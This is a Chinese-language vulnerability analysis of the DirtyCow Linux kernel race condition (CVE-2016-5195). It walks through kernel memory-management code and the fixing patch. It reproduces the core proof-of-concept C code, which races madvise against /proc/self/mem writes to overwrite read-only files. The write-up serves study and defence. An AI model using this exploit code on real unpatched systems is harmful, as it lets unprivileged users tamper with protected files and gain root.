DirtyCow Linux權限提升漏洞分析(CVE-2016-5195)

DirtyCow Linux權限提升漏洞分析(CVE-2016-5195)


0x0 概述

DirtyCow漏洞是最近爆出的Linux內核本地權限提升漏洞。該漏洞容易觸發利用簡單穩定,影響多個系統算是一個不錯的漏洞。而且漏洞已經存在多年,正如Linus Torvalds所說

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).

該漏洞主要由於內存管理方面的競爭條件漏洞,致使非授權用戶寫入任意文件,進一步利用可以提升權限。下面分析漏洞原理。

0x1 POC分析

先簡單梳理一下POC的幾個重要的點,下面是廣為流傳的一段POC代碼。

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)

{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3)return 1;
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

上面POC為了緊湊一些,去掉了註釋、全局變量等,只保留了主體部分。

main函數將一個只讀的文件映射到內存,注意到mmap的flag參數為MAP_PRIVATE,且屬性為只讀。當後面對該內存寫入時,會創造一個cow的映射操作,也就是拷貝一個副本,並在副本里寫入。對這個副本的操作,不會影響到其他映射該文件的進程。而且也不會對原文件進行更改。關於為何執行cow操作,後面會分析。之後創建兩個線程,是此次競爭條件觸發的關鍵。

第一個線程調用了madvise,一個關鍵的參數是MADV_DONTNEED

madvise(map,100,MADV_DONTNEED)

madvise是linux一個系統調用通知內核如何處理addr,addr+len部分的內存頁,例如提前預讀或者是緩存技術。這裡用到的MADV_DONTNEED參數,指該部分內存短期不會訪問,內核可以釋放掉內存頁。調用帶有MADV_DONTNEED參數的madvise,表明程序不需要相應內存頁,如果這些內存頁被標記為dirty,則直接丟棄。

另一個線程通過/proc/self/mem文件,嘗試向文件被映射的內存寫入數據。

lseek(f,map,SEEK_SET);

c+=write(f,str,strlen(str));

DirtyCow Linux權限提升漏洞分析(CVE-2016-5195)

0x2 漏洞原理分析

這個漏洞關鍵是兩個線程的運行,如何導致了競爭條件,造成越權寫只讀的內存頁。這個過程需要分析源碼,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已經貼出了漏洞觸發的函數調用流程,這裡對幾個關鍵地方分析一下。

執行寫操作時,內核需要獲取相應的內存頁,對應的函數為get_user_pages,真正的功能在__get_user_pages中實現。

__get_user_pages{

……

retry:

if (unlikely(fatal_signal_pending(current)))

return i ? i : -ERESTARTSYS;

cond_resched();

page = follow_page_mask(vma, start, foll_flags, &page_mask);

if (!page) {

int ret;

ret = faultin_page(tsk, vma, start, &foll_flags,

nonblocking);

switch (ret) {

case 0:

goto retry;

……

}

當上述流程走到case 0時,會循環調用follow_page_mask、faultin_page兩個函數。由於第一次調用__get_user_pages,需要處理缺頁,會進行如下的調用序列

get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault

當調用到do_fault時,判斷要求寫屬性,且映射頁屬性不是VM_SHARED,會執行cow操作,相當於創建一個文件映射內存頁的副本。如下所示:

do_fault{

……

if (!(fe->flags & FAULT_FLAG_WRITE))

return do_read_fault(fe, pgoff);

//當不是VM_SHARED的時候,執行cow

if (!(vma->vm_flags & VM_SHARED))

return do_cow_fault(fe, pgoff);

……

}

繼續執行:

do_fault->do_cow_fault->alloc_set_pte

其中alloc_set_pte,設置cow的頁面為page_dirty,並沒有置位可寫。如下所示:

maybe_mkwrite(pte_mkdirty(entry), vma)

faultin_page整個流程結束,第一次調用通過cow分配了文件映射內存頁的副本文件,且返回NULL。

retry之後,第二次處理流程。首先follow_page_mask函數,調用流程為

follow_page_mask->follow_page_pte

follow_page_pte{

...

if ((flags & FOLL_WRITE) && !pte_write(pte)) {

pte_unmap_unlock(ptep, ptl);

return NULL;

}

...

}

這裡判斷通過頁表項判斷,通過cow獲取的內存頁是否具有寫權限,沒有則直接返回NULL。在第一個faultin_page流程裡,沒有標記可寫權限。這裡直接返回NULL。

第二次進入faultin_page。但此時和第一次調用faultin_page流程不同,由於第一次已經完成了內存映射,進行了cow操作,這次主要是處理寫權限的頁錯誤問題。直接分析與第一次的不同點。

Handle_pte_fault{

if (fe->flags & FAULT_FLAG_WRITE) {

if (!pte_write(entry))

return do_wp_page(fe, entry);

entry = pte_mkdirty(entry);

}

}

此次沒有缺頁錯誤,而是處理要求的寫權限錯誤,會調用do_wp_page函數

do_wp_page-> ……->wp_page_reuse

由於之前已經進行過cow操作,所以直接使用cow的內存頁,最後一層層返回到fault_in_page函數中為VM_FAULT_WRITE。由此,要求的寫權限標誌會被去掉,即會去掉FOLL_WRITE標誌位,如下所示。

Fault_in_page{

...

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))

*flags &= ~FOLL_WRITE;

}

正常情況下,第三次再調用faultin_page,此時已經成功得到cow後的頁面,且flags已經去掉FOLL_WRITE,因此不會再產生寫錯誤的處理,可以直接寫入cow的頁了。

但是如果在上述流程即第二次頁錯誤處理結束時,調用madvise,會unmap掉前面cow的頁面,又進入缺頁處理,這裡不同的是在do_fault調用時,由於沒有了寫權限的要求,直接調用了do_read_fault讀取映射文件的內存頁。這一部分判斷在do_fault函數中,繼續拿出這部分代碼。

do_fault{

……

if (!(fe->flags & FAULT_FLAG_WRITE))

return do_read_fault(fe, pgoff);

//當不是VM_SHARED的時候,執行cow

if (!(vma->vm_flags & VM_SHARED))

return do_cow_fault(fe, pgoff);

……

}

這樣,基本獲取了映射文件的內存頁,而不是第一次流程中cow的內存頁副本。後面已經基本可以完成越權寫操作了。

再梳理一下整個漏洞觸發流程,這裡用一個正常流程做對比:

正常流程:

第一次處理缺頁錯誤,do_cow_fault-> 
第二次處理寫入權限錯誤,去掉FOLL_WRITE權限要求->
可以寫入cow頁面

漏洞流程:

第一次處理缺頁錯誤,do_cow_fault-> 
第二次處理寫入權限錯誤,去掉FOLL_WRITE權限要求->
madvise unmap內存映射->
第三次調用,又發現缺頁錯誤,且沒有FOLL_WRITE,直接獲取文件映射內存頁,造成越權。

0x03 補丁分析

補丁加入了一個標誌位,標識之前進行過COW

+#define FOLL_COW 0x4000 /* internal GUP flag */

faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))

- *flags &= ~FOLL_WRITE;

+ *flags |= FOLL_COW;

return 0;

follow_page_pte對COW的內存頁單獨判斷。如果要求寫權限,要麼內存頁可寫,要麼是COW的副本頁,且被標記為dirty。

+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)

+{

+ return pte_write(pte) ||

+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));

+}

follow_page_pte{

...

- if ((flags & FOLL_WRITE) && !pte_write(pte)) {

+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {

pte_unmap_unlock(ptep, ptl);

return NULL;

}

1、修改後,對COW的強制寫入,不必去掉FOLL_WRITE權限要求,這樣不會引發後面直接去獲取文件映射內存。

2、follow_page_pte加入FOLL_COW的判斷,同時加入了對dirty標記的判斷,這樣才能確保FOLL_COW標誌有效,即該頁表項還存在


分享到:


相關文章: